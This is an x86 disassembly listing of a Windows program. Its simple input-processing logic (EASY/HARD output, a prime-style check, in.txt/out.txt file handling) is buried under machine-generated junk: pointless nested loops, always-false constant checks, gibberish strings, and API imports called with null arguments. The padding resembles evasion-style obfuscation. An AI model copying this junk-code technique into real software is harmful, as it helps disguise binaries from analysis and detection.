cdq
mov dword [ebp - 0x2040], eax
mov dword [ebp - 0x203c], edx
push dword [ebp - 0x203c]
push dword [ebp - 0x2040]
lea ecx, [ebp - 0x35b8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x35b8]
call fcn.00401711
jmp 0x4d8f98
jmp 0x4d8f72
jmp 0x4d8e78
jmp 0x4d8e52
and dword [ebp - 0x10bc], 0
jmp 0x4d9034
mov eax, dword [ebp - 0x10bc]
inc eax
mov dword [ebp - 0x10bc], eax
cmp dword [ebp - 0x10bc], 0x5c15
jge 0x4d9380
and dword [ebp - 0x9e4], 0
jmp 0x4d905a
mov eax, dword [ebp - 0x9e4]
inc eax
mov dword [ebp - 0x9e4], eax
cmp dword [ebp - 0x9e4], 0x4238
jge 0x4d937b
mov dword [ebp - 0x1ea0], 0x14c7
cmp dword [ebp - 0x1ea0], 0xd46
jge 0x4d9114
lea eax, [ebp - 0x1250]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov byte [ebp - 0x85], 0
mov eax, dword [ebp - 0x1250]
mov dword [ebp - 0x26e4], eax
mov eax, dword [ebp - 0x1250]
dec eax
mov dword [ebp - 0x1250], eax
cmp dword [ebp - 0x26e4], 0
je 0x4d90e7
lea eax, [ebp - 0x1eac]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0x1eac], 0
je 0x4d90e5
mov byte [ebp - 0x85], 1
jmp 0x4d90e7
jmp 0x4d909e
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x4d90fe
mov dword [ebp - 0x1608], str.HARD
jmp 0x4d9108
mov dword [ebp - 0x1608], str.EASY
push dword [ebp - 0x1608]
call fcn.004f1b87
pop ecx
mov eax, dword [ebp - 0x10bc]
cdq
idiv dword [ebp - 0x9e4]
mov eax, edx
cdq
mov dword [ebp - 0x2064], eax
mov dword [ebp - 0x2060], edx
mov dword [ebp - 0x1610], 0x14d2
mov dword [ebp - 0x26ec], str.ghftebwqg_cyoly_kqdweiohk_eqhv_huyyk_bckv_bxmt_aghgvnusy_wanpm_rbb
mov dword [ebp - 0x1848], 0x72f9
mov dword [ebp - 0x1eb8], str.nbwtsfvpe_pgindfnww_vuakae
mov dword [ebp - 0x29f8], 0x1951
cmp dword [ebp - 0x29f8], 0x7c7
cmp dword [ebp - 0x1848], 0x74b4
jle 0x4d9255
and dword [ebp - 0xecc], 0
jmp 0x4d9192
mov eax, dword [ebp - 0xecc]
inc eax
mov dword [ebp - 0xecc], eax
cmp dword [ebp - 0xecc], 0x7cba
jge 0x4d9255
and dword [ebp - 0x9ec], 0
jmp 0x4d91b8
mov eax, dword [ebp - 0x9ec]
inc eax
mov dword [ebp - 0x9ec], eax
cmp dword [ebp - 0x9ec], 0x7129
jge 0x4d9250
and dword [ebp - 0xff4], 0
jmp 0x4d91de
mov eax, dword [ebp - 0xff4]
inc eax
mov dword [ebp - 0xff4], eax
cmp dword [ebp - 0xff4], 0xedb
jge 0x4d924b
and dword [ebp - 0x9f4], 0
jmp 0x4d9200
mov eax, dword [ebp - 0x9f4]
inc eax
mov dword [ebp - 0x9f4], eax
cmp dword [ebp - 0x9f4], 0x22b8
jge 0x4d9249
mov eax, dword [ebp - 0xecc]
add eax, dword [ebp - 0x9ec]
and eax, dword [ebp - 0xff4]
or eax, dword [ebp - 0x9f4]
cdq
mov dword [ebp - 0x204c], eax
mov dword [ebp - 0x2048], edx
push dword [ebp - 0x2048]
push dword [ebp - 0x204c]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d91f3
jmp 0x4d91d1
jmp 0x4d91ab
jmp 0x4d9185
cmp dword [ebp - 0x1610], 0x15c2
jle 0x4d932c
and dword [ebp - 0xed4], 0
jmp 0x4d927b
mov eax, dword [ebp - 0xed4]
inc eax
mov dword [ebp - 0xed4], eax
cmp dword [ebp - 0xed4], 0x4a2c
jge 0x4d932c
and dword [ebp - 0x9fc], 0
jmp 0x4d92a1
mov eax, dword [ebp - 0x9fc]
inc eax
mov dword [ebp - 0x9fc], eax
cmp dword [ebp - 0x9fc], 0x3077
jge 0x4d9327
and dword [ebp - 0x107c], 0
jmp 0x4d92c3
mov eax, dword [ebp - 0x107c]
inc eax
mov dword [ebp - 0x107c], eax
cmp dword [ebp - 0x107c], 0x5a54
jge 0x4d9322
mov eax, dword [ebp - 0xed4]
sub eax, dword [ebp - 0x9fc]
sub eax, dword [ebp - 0x107c]
cdq
mov dword [ebp - 0x2058], eax
mov dword [ebp - 0x2054], edx
push dword [ebp - 0x2054]
push dword [ebp - 0x2058]
lea ecx, [ebp - 0x39f0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x39f0]
call fcn.00401711
jmp 0x4d92b6
jmp 0x4d9294
jmp 0x4d926e
cmp dword [ebp - 0x1848], 0x7171
jge 0x4d9348
mov edx, dword [ebp - 0x1eb8]
mov ecx, 0xac7538
call fcn.0041c2dd
push dword [ebp - 0x2060]
push dword [ebp - 0x2064]
mov ecx, 0xac7538
call fcn.004178b5
cmp dword [ebp - 0x1610], 0x11b7
jge 0x4d9376
push dword [ebp - 0x26ec]
call fcn.004f1488
pop ecx
jmp 0x4d904d
jmp 0x4d9027
cmp dword [ebp - 0x19e0], 0x63ab
jge 0x4d9398
push dword [ebp - 0x1ec4]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1860], 0x7fe6
mov dword [ebp - 0x270c], str.rtapd_tutyprl_esswoflgl_jesvqgfko_hwohrdwe_bxfightk_tnqsqev_snttshaba_jlribiqr_pde_ymihhl
cmp dword [ebp - 0x1860], 0x82dd
jle 0x4da082
mov dword [ebp - 0x1638], 0x255b
mov dword [ebp - 0x2a08], str.tuahjqb_kcgri_nxgl_pcnyiai_pbl_slbs_pdyfg_fdvodwfgq_imaj_tjmrno_mvkl_adjksmr_ckduxc_qad
cmp dword [ebp - 0x1638], 0x2861
jle 0x4d989d
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
and dword [ebp - 0xefc], 0
jmp 0x4d98b3
mov eax, dword [ebp - 0xefc]
inc eax
mov dword [ebp - 0xefc], eax
cmp dword [ebp - 0xefc], 0x1ce3
jge 0x4da06a
mov dword [ebp - 0x1a78], 0x2810
mov dword [ebp - 0x1f0c], str.ghgwncql_nexbkaicm_tbobkv
cmp dword [ebp - 0x1a78], 0x2902
jle 0x4d99ce
and dword [ebp - 0xeec], 0
jmp 0x4d98fd
mov eax, dword [ebp - 0xeec]
inc eax
mov dword [ebp - 0xeec], eax
cmp dword [ebp - 0xeec], 0x9ec
jge 0x4d99c4
and dword [ebp - 0xa2c], 0
jmp 0x4d9923
mov eax, dword [ebp - 0xa2c]
inc eax
mov dword [ebp - 0xa2c], eax
cmp dword [ebp - 0xa2c], 0x1390
jge 0x4d99bf
and dword [ebp - 0x1004], 0
jmp 0x4d9949
mov eax, dword [ebp - 0x1004]
inc eax
mov dword [ebp - 0x1004], eax
cmp dword [ebp - 0x1004], 0x6b6c
jge 0x4d99ba
and dword [ebp - 0xa34], 0
jmp 0x4d996b
mov eax, dword [ebp - 0xa34]
inc eax
mov dword [ebp - 0xa34], eax
cmp dword [ebp - 0xa34], 0x5c6d
jge 0x4d99b8
mov eax, dword [ebp - 0xeec]
imul eax, dword [ebp - 0xa2c]
mov ecx, dword [ebp - 0x1004]
imul ecx, dword [ebp - 0xa34]
or eax, ecx
cdq
mov dword [ebp - 0x2094], eax
mov dword [ebp - 0x2090], edx
push dword [ebp - 0x2090]
push dword [ebp - 0x2094]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d995e
jmp 0x4d993c
jmp 0x4d9916
jmp 0x4d98f0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
and dword [ebp - 0xa4c], 0
jmp 0x4d99e4
mov eax, dword [ebp - 0xa4c]
inc eax
mov dword [ebp - 0xa4c], eax
cmp dword [ebp - 0xa4c], 0x49c3
jge 0x4da049
mov dword [ebp - 0x1858], 0x2cf9
mov dword [ebp - 0x1f00], str.qobsnoq_xgks_wapjn_fvhmeev_vwinig_wptpdg_lbntyuia_wvouif_ycqbqvipp
cmp dword [ebp - 0x1858], 0x2ec0
jle 0x4d9bca
mov dword [ebp - 0x1edc], 0x22ca
cmp dword [ebp - 0x1edc], 0xc8c
jge 0x4d9b34
lea eax, [ebp - 0x1414]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x1414]
mov dword [ebp - 0x2a4c], eax
mov eax, dword [ebp - 0x1414]
dec eax
mov dword [ebp - 0x1414], eax
cmp dword [ebp - 0x2a4c], 0
je 0x4d9b34
lea eax, [ebp - 0x1258]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0xef4], 0
jmp 0x4d9a94
mov eax, dword [ebp - 0xef4]
inc eax
mov dword [ebp - 0xef4], eax
mov eax, dword [ebp - 0xef4]
cmp eax, dword [ebp - 0x1258]
jge 0x4d9abe
mov eax, dword [ebp - 0xef4]
lea eax, [ebp + eax*4 - 0x4554]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d9a87
mov eax, dword [ebp - 0x1258]
lea edx, [ebp + eax*4 - 0x4554]
lea ecx, [ebp - 0x4554]
call fcn.0041c72d
and dword [ebp - 0x1348], 0
and dword [ebp - 0xa3c], 0
jmp 0x4d9af3
mov eax, dword [ebp - 0xa3c]
inc eax
mov dword [ebp - 0xa3c], eax
mov eax, dword [ebp - 0xa3c]
inc eax
cmp eax, dword [ebp - 0x1258]
jge 0x4d9b1d
mov eax, dword [ebp - 0xa3c]
mov ecx, dword [ebp - 0x1348]
add ecx, dword [ebp + eax*4 - 0x4554]
mov dword [ebp - 0x1348], ecx
jmp 0x4d9ae6
push dword [ebp - 0x1348]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d9a45
and dword [ebp - 0x1084], 0
jmp 0x4d9b4a
mov eax, dword [ebp - 0x1084]
inc eax
mov dword [ebp - 0x1084], eax
cmp dword [ebp - 0x1084], 0x654d
jge 0x4d9bca
and dword [ebp - 0xa44], 0
jmp 0x4d9b6c
mov eax, dword [ebp - 0xa44]
inc eax
mov dword [ebp - 0xa44], eax
cmp dword [ebp - 0xa44], 0x5e66
jge 0x4d9bc5
mov eax, dword [ebp - 0x1084]
and eax, dword [ebp - 0xa44]
cdq
mov dword [ebp - 0x20a0], eax
mov dword [ebp - 0x209c], edx
push dword [ebp - 0x209c]
push dword [ebp - 0x20a0]
lea ecx, [ebp - 0x3b88]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3b88]
call fcn.00401711
jmp 0x4d9b5f
jmp 0x4d9b3d
and dword [ebp - 0x100c], 0
jmp 0x4d9be0
mov eax, dword [ebp - 0x100c]
inc eax
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], 0x46aa
jge 0x4d9c75
and dword [ebp - 0xa54], 0
jmp 0x4d9c06
mov eax, dword [ebp - 0xa54]
inc eax
mov dword [ebp - 0xa54], eax
cmp dword [ebp - 0xa54], 0x6fcd
jge 0x4d9c70
mov eax, dword [ebp - 0xefc]
imul eax, dword [ebp - 0xa4c]
mov edx, dword [ebp - 0x100c]
mov ecx, dword [ebp - 0xa54]
sar edx, cl
xor eax, edx
cdq
mov dword [ebp - 0x20ac], eax
mov dword [ebp - 0x20a8], edx
push dword [ebp - 0x20a8]
push dword [ebp - 0x20ac]
lea ecx, [ebp - 0x3648]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3648]
call fcn.00401711
jmp 0x4d9bf9
jmp 0x4d9bd3
mov dword [ebp - 0x1ee8], 0x2132
cmp dword [ebp - 0x1ee8], 0x479
jge 0x4d9ef2
lea eax, [ebp - 0x1260]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x1260]
mov dword [ebp - 0x26fc], eax
mov eax, dword [ebp - 0x1260]
dec eax
mov dword [ebp - 0x1260], eax
cmp dword [ebp - 0x26fc], 0
je 0x4d9ef2
lea eax, [ebp - 0x29c]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x29c]
lea ecx, [ebp - 0x14a8]
call fcn.004179d7
and dword [ebp - 0xf04], 0
jmp 0x4d9d02
mov eax, dword [ebp - 0xf04]
inc eax
mov dword [ebp - 0xf04], eax
mov eax, dword [ebp - 0xf04]
cmp eax, dword [ebp - 0x29c]
jge 0x4d9d30
push dword [ebp - 0xf04]
lea ecx, [ebp - 0x14a8]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d9cf5
mov byte [ebp - 0x47], 1
and dword [ebp - 0xa5c], 0
jmp 0x4d9d4a
mov eax, dword [ebp - 0xa5c]
inc eax
mov dword [ebp - 0xa5c], eax
mov eax, dword [ebp - 0xa5c]
cmp eax, dword [ebp - 0x29c]
jge 0x4d9d9a
lea eax, [ebp - 0x1ef4]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0xa5c]
lea ecx, [ebp - 0x14a8]
call fcn.00417bb8
mov dword [ebp - 0x1980], eax
mov eax, dword [ebp - 0x1980]
mov eax, dword [eax]
sub eax, dword [ebp - 0x1ef4]
mov ecx, dword [ebp - 0x1980]
mov dword [ecx], eax
jmp 0x4d9d3d
and dword [ebp - 0x294], 0
jmp 0x4d9db0
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
mov eax, dword [ebp - 0x294]
cmp eax, dword [ebp - 0x29c]
jge 0x4d9e76
push dword [ebp - 0x294]
lea ecx, [ebp - 0x14a8]
call fcn.00417bb8
cmp dword [eax], 0
jge 0x4d9e71
push dword [ebp - 0x294]
lea ecx, [ebp - 0x14a8]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x28f8], eax
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x310], eax
jmp 0x4d9e10
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
mov eax, dword [ebp - 0x310]
cmp eax, dword [ebp - 0x29c]
jge 0x4d9e6f
push dword [ebp - 0x310]
lea ecx, [ebp - 0x14a8]
call fcn.00417bb8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x28f8]
jne 0x4d9e4f
push dword [ebp - 0x310]
lea ecx, [ebp - 0x14a8]
call fcn.00417bb8
and dword [eax], 0
jmp 0x4d9e6d
push dword [ebp - 0x310]
lea ecx, [ebp - 0x14a8]
call fcn.00417bb8
cmp dword [eax], 0
jne 0x4d9e69
jmp 0x4d9e6f
mov byte [ebp - 0x47], 0
jmp 0x4d9e03
jmp 0x4d9e76
jmp 0x4d9da3
and dword [ebp - 0x10c4], 0
jmp 0x4d9e8c
mov eax, dword [ebp - 0x10c4]
inc eax
mov dword [ebp - 0x10c4], eax
mov eax, dword [ebp - 0x10c4]
cmp eax, dword [ebp - 0x29c]
jge 0x4d9eb8
push dword [ebp - 0x10c4]
lea ecx, [ebp - 0x14a8]
call fcn.00417bb8
cmp dword [eax], 0
je 0x4d9eb6
mov byte [ebp - 0x47], 0
jmp 0x4d9eb8
jmp 0x4d9e7f
movzx eax, byte [ebp - 0x47]
test eax, eax
je 0x4d9ecc
mov dword [ebp - 0x1628], 0xab5934
jmp 0x4d9ed6
mov dword [ebp - 0x1628], 0xab5938
push dword [ebp - 0x1628]
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x14a8]
call fcn.00417aef
jmp 0x4d9ca2
mov dword [ebp - 0x1630], 0x1dbc
mov dword [ebp - 0x2704], str.uvcet_acktwha_oxs_nfpdigej_coq_cajf_jisstbs_nxkecwvwh_ioyyvvtkn_kri
cmp dword [ebp - 0x1630], 0x20c2
jle 0x4da014
and dword [ebp - 0xa64], 0
jmp 0x4d9f2c
mov eax, dword [ebp - 0xa64]
inc eax
mov dword [ebp - 0xa64], eax
cmp dword [ebp - 0xa64], 0x328b
jge 0x4da014
and dword [ebp - 0xf0c], 0
jmp 0x4d9f52
mov eax, dword [ebp - 0xf0c]
inc eax
mov dword [ebp - 0xf0c], eax
cmp dword [ebp - 0xf0c], 0xea6
jge 0x4da00f
and dword [ebp - 0xa6c], 0
jmp 0x4d9f78
mov eax, dword [ebp - 0xa6c]
inc eax
mov dword [ebp - 0xa6c], eax
cmp dword [ebp - 0xa6c], 0xaa1
jge 0x4da00a
and dword [ebp - 0x1014], 0
jmp 0x4d9f9e
mov eax, dword [ebp - 0x1014]
inc eax
mov dword [ebp - 0x1014], eax
cmp dword [ebp - 0x1014], 0x3f7e
jge 0x4da005
mov eax, dword [ebp - 0xa64]
and eax, dword [ebp - 0xf0c]
mov ecx, dword [ebp - 0xa6c]
sub ecx, dword [ebp - 0x1014]
xor eax, ecx
cdq
mov dword [ebp - 0x20b8], eax
mov dword [ebp - 0x20b4], edx
push dword [ebp - 0x20b4]
push dword [ebp - 0x20b8]
lea ecx, [ebp - 0x3a38]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3a38]
call fcn.00401711
jmp 0x4d9f91
jmp 0x4d9f6b
jmp 0x4d9f45
jmp 0x4d9f1f
cmp dword [ebp - 0x1858], 0x2c2a
jge 0x4da02c
push dword [ebp - 0x1f00]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1630], 0x1c57
jge 0x4da044
push dword [ebp - 0x2704]
call fcn.004f1488
pop ecx
jmp 0x4d99d7
cmp dword [ebp - 0x1a78], 0x250c
jge 0x4da065
mov edx, dword [ebp - 0x1f0c]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d98a6
cmp dword [ebp - 0x1638], 0x24bd
jge 0x4da082
push dword [ebp - 0x2a08]
call fcn.004f1488
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x1870], 0x30fd
mov dword [ebp - 0x1f6c], str.eifp_byboqn_taugt_tfrv
cmp dword [ebp - 0x1870], 0x347f
jle 0x4da18a
and dword [ebp - 0xa7c], 0
jmp 0x4da0c4
mov eax, dword [ebp - 0xa7c]
inc eax
mov dword [ebp - 0xa7c], eax
cmp dword [ebp - 0xa7c], 0xf7a
jge 0x4da18a
and dword [ebp - 0xa74], 0
jmp 0x4da0ea
mov eax, dword [ebp - 0xa74]
inc eax
mov dword [ebp - 0xa74], eax
cmp dword [ebp - 0xa74], 0x36ec
jge 0x4da185
and dword [ebp - 0xf14], 0
jmp 0x4da110
mov eax, dword [ebp - 0xf14]
inc eax
mov dword [ebp - 0xf14], eax
cmp dword [ebp - 0xf14], 0x1a13
jge 0x4da180
and dword [ebp - 0x108c], 0
jmp 0x4da132
mov eax, dword [ebp - 0x108c]
inc eax
mov dword [ebp - 0x108c], eax
cmp dword [ebp - 0x108c], 0x27d6
jge 0x4da17e
mov ecx, dword [ebp - 0xa74]
imul ecx, dword [ebp - 0xf14]
mov eax, dword [ebp - 0xa7c]
shl eax, cl
or eax, dword [ebp - 0x108c]
cdq
mov dword [ebp - 0x20c4], eax
mov dword [ebp - 0x20c0], edx
push dword [ebp - 0x20c0]
push dword [ebp - 0x20c4]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4da125
jmp 0x4da103
jmp 0x4da0dd
jmp 0x4da0b7
cmp dword [ebp - 0x1860], 0x7d7b
jge 0x4daa8e
mov dword [ebp - 0x1988], 0x5210
mov dword [ebp - 0x1f30], str.gmurn_deyhqtmpa_batv_owajfsuc_pxdtnvr_kgeecgkff_yvh_xdoihwm_nawojivty_qlewdt_xdanh_ekgnxxaea_wvddeekji
cmp dword [ebp - 0x1988], 0x54a4
jle 0x4da39c
and dword [ebp - 0xa84], 0
jmp 0x4da1d4
mov eax, dword [ebp - 0xa84]
inc eax
mov dword [ebp - 0xa84], eax
cmp dword [ebp - 0xa84], 0x4c90
jge 0x4da39c
and dword [ebp - 0xf1c], 0
jmp 0x4da1fa
mov eax, dword [ebp - 0xf1c]
inc eax
mov dword [ebp - 0xf1c], eax
cmp dword [ebp - 0xf1c], 0x45af
jge 0x4da397
and dword [ebp - 0xa8c], 0
jmp 0x4da220
mov eax, dword [ebp - 0xa8c]
inc eax
mov dword [ebp - 0xa8c], eax
cmp dword [ebp - 0xa8c], 0x67ec
jge 0x4da392
and dword [ebp - 0x101c], 0
jmp 0x4da246
mov eax, dword [ebp - 0x101c]
inc eax
mov dword [ebp - 0x101c], eax
cmp dword [ebp - 0x101c], 0x2b5c
jge 0x4da38d
mov dword [ebp - 0x1f18], 0x14b8
cmp dword [ebp - 0x1f18], 0x129c
jge 0x4da34b
xor eax, eax
inc eax
je 0x4da34b
lea eax, [ebp - 0x1640]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0x1640], 0
jne 0x4da29a
jmp 0x4da34b
mov dword [ebp - 0x458], 2
jmp 0x4da2b3
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x1640]
dec eax
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x458]
dec eax
cdq
idiv dword [ebp - 0x3e8]
mov dword [ebp - 0x13ec], edx
mov byte [ebp - 0x86], 1
cmp dword [ebp - 0x3e8], 1
jle 0x4da322
cmp dword [ebp - 0x13ec], 0
jne 0x4da2f6
mov byte [ebp - 0x86], 0
jmp 0x4da322
mov eax, dword [ebp - 0x3e8]
dec eax
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x458]
mov ecx, dword [ebp - 0x13ec]
lea eax, [ecx + eax - 1]
cdq
idiv dword [ebp - 0x3e8]
mov dword [ebp - 0x13ec], edx
jmp 0x4da2db
movzx eax, byte [ebp - 0x86]
test eax, eax
je 0x4da341
push dword [ebp - 0x458]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4da346
jmp 0x4da2a6
jmp 0x4da270
mov eax, dword [ebp - 0xa84]
and eax, dword [ebp - 0xf1c]
mov ecx, dword [ebp - 0xa8c]
sub ecx, dword [ebp - 0x101c]
and eax, ecx
cdq
mov dword [ebp - 0x20d0], eax
mov dword [ebp - 0x20cc], edx
push dword [ebp - 0x20cc]
push dword [ebp - 0x20d0]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4da239
jmp 0x4da213
jmp 0x4da1ed
jmp 0x4da1c7
push dword [ebp - 0x270c]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1648], 0x754c
mov dword [ebp - 0x2714], str.bqkqll_jkeuobyiv_qddujxc_vpxp_wjflqoy_wwkrssequ_cpyd_euos_ije_qqdgxt_haoatj_xthb_icsf
cmp dword [ebp - 0x1648], 0x780c
jle 0x4daa56
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Polygon]
mov dword [ebp - 0x1f24], 0x2476
cmp dword [ebp - 0x1f24], 0x10ee
jge 0x4da9ae
call fcn.004f12b6
push 0x20
pop ecx
imul ecx, ecx, 0
add eax, ecx
push eax
push 0xab59f4
push str.in.txt
call fcn.004f1af8
add esp, 0xc
call fcn.004f12b6
push 0x20
pop ecx
shl ecx, 0
add eax, ecx
push eax
push 0xab5f10
push str.out.txt
call fcn.004f1af8
add esp, 0xc
lea ecx, [ebp - 0x1144]
call fcn.00417eaa
mov byte [ebp - 0x221], 0x20
lea eax, [ebp - 0x221]
push eax
lea ecx, [ebp - 0x1144]
call fcn.004e9f52
and dword [eax], 0
and dword [ebp - 0x3f0], 0
jmp 0x4da46f
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x1a
jge 0x4da4a4
mov eax, dword [ebp - 0x3f0]
add eax, 0x41
mov byte [ebp - 0x219], al
mov esi, dword [ebp - 0x3f0]
inc esi
lea eax, [ebp - 0x219]
push eax
lea ecx, [ebp - 0x1144]
call fcn.004e9f52
mov dword [eax], esi
jmp 0x4da462
lea ecx, [ebp - 0x1afc]
call fcn.004016ac
lea eax, [ebp - 0x2900]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov dword [ebp - 0xf2c], 1
jmp 0x4da4d9
mov eax, dword [ebp - 0xf2c]
inc eax
mov dword [ebp - 0xf2c], eax
mov eax, dword [ebp - 0xf2c]
cmp eax, dword [ebp - 0x2900]
jg 0x4da998
lea eax, [ebp - 0x490]
push eax
lea eax, [ebp - 0x118]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov ecx, eax
call fcn.00417279
lea eax, [ebp - 0x1268]
push eax
push 0xab610c
call fcn.004f117c
pop ecx
pop ecx
push 0xab559b
lea ecx, [ebp - 0x1afc]
call fcn.00417164
lea eax, [ebp - 0x1268]
push eax
push 0xab610c
call fcn.004f117c
pop ecx
pop ecx
cmp eax, 1
jne 0x4da566
movsx eax, byte [ebp - 0x1268]
cmp eax, 0xa
jne 0x4da553
jmp 0x4da566
push dword [ebp - 0x1268]
lea ecx, [ebp - 0x1afc]
call fcn.0040171b
jmp 0x4da52d
and dword [ebp - 0x10], 0
and dword [ebp - 0x14], 0
push 0x1b9
push 0
lea eax, [ebp - 0x4440]
push eax
call fcn.004caaff
add esp, 0xc
and dword [ebp - 0x38], 0
jmp 0x4da591
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x118]
cdq
sub eax, edx
sar eax, 1
cmp dword [ebp - 0x38], eax
jge 0x4da82c
lea ecx, [ebp - 0x1afc]
call fcn.0040175f
cmp dword [ebp - 0x10], eax
jae 0x4da82c
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xa94], eax
jmp 0x4da5d1
mov eax, dword [ebp - 0xa94]
inc eax
mov dword [ebp - 0xa94], eax
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x38]
cmp dword [ebp - 0xa94], eax
jge 0x4da64f
lea ecx, [ebp - 0x1afc]
call fcn.0040175f
cmp dword [ebp - 0x10], eax
jae 0x4da64f
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1afc]
call fcn.0040174b
push eax
lea ecx, [ebp - 0x1144]
call fcn.004e9f52
push 4
pop ecx
sub ecx, dword [ebp - 0x14]
xor edx, edx
inc edx
shl edx, cl
and edx, dword [eax]
je 0x4da630
imul eax, dword [ebp - 0x38], 0x15
lea eax, [ebp + eax - 0x4440]
mov ecx, dword [ebp - 0xa94]
mov byte [eax + ecx], 1
cmp dword [ebp - 0x14], 4
jne 0x4da63d
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
inc eax
cdq
push 5
pop ecx
idiv ecx
mov dword [ebp - 0x14], edx
jmp 0x4da5c4
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0xf24], eax
jmp 0x4da668
mov eax, dword [ebp - 0xf24]
inc eax
mov dword [ebp - 0xf24], eax
mov eax, dword [ebp - 0x118]
sub eax, dword [ebp - 0x38]
cmp dword [ebp - 0xf24], eax
jge 0x4da6ed
lea ecx, [ebp - 0x1afc]
call fcn.0040175f
cmp dword [ebp - 0x10], eax
jae 0x4da6ed
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1afc]
call fcn.0040174b
push eax
lea ecx, [ebp - 0x1144]
call fcn.004e9f52
push 4
pop ecx
sub ecx, dword [ebp - 0x14]
xor edx, edx
inc edx
shl edx, cl
and edx, dword [eax]
je 0x4da6ce
imul eax, dword [ebp - 0xf24], 0x15
lea eax, [ebp + eax - 0x4440]
mov ecx, dword [ebp - 0x490]
sub ecx, dword [ebp - 0x38]
mov byte [eax + ecx - 1], 1
cmp dword [ebp - 0x14], 4
jne 0x4da6db
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
inc eax
cdq
push 5
pop ecx
idiv ecx
mov dword [ebp - 0x14], edx
jmp 0x4da65b
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x38]
dec eax
dec eax
mov dword [ebp - 0xa9c], eax
jmp 0x4da70d
mov eax, dword [ebp - 0xa9c]
dec eax
mov dword [ebp - 0xa9c], eax
mov eax, dword [ebp - 0xa9c]
cmp eax, dword [ebp - 0x38]
jl 0x4da78e
lea ecx, [ebp - 0x1afc]
call fcn.0040175f
cmp dword [ebp - 0x10], eax
jae 0x4da78e
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1afc]
call fcn.0040174b
push eax
lea ecx, [ebp - 0x1144]
call fcn.004e9f52
push 4
pop ecx
sub ecx, dword [ebp - 0x14]
xor edx, edx
inc edx
shl edx, cl
and edx, dword [eax]
je 0x4da76f
mov eax, dword [ebp - 0x118]
sub eax, dword [ebp - 0x38]
dec eax
imul eax, eax, 0x15
lea eax, [ebp + eax - 0x4440]
mov ecx, dword [ebp - 0xa9c]
mov byte [eax + ecx], 1
cmp dword [ebp - 0x14], 4
jne 0x4da77c
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
inc eax
cdq
push 5
pop ecx
idiv ecx
mov dword [ebp - 0x14], edx
jmp 0x4da700
mov eax, dword [ebp - 0x118]
sub eax, dword [ebp - 0x38]
dec eax
dec eax
mov dword [ebp - 0x10e4], eax
jmp 0x4da7ae
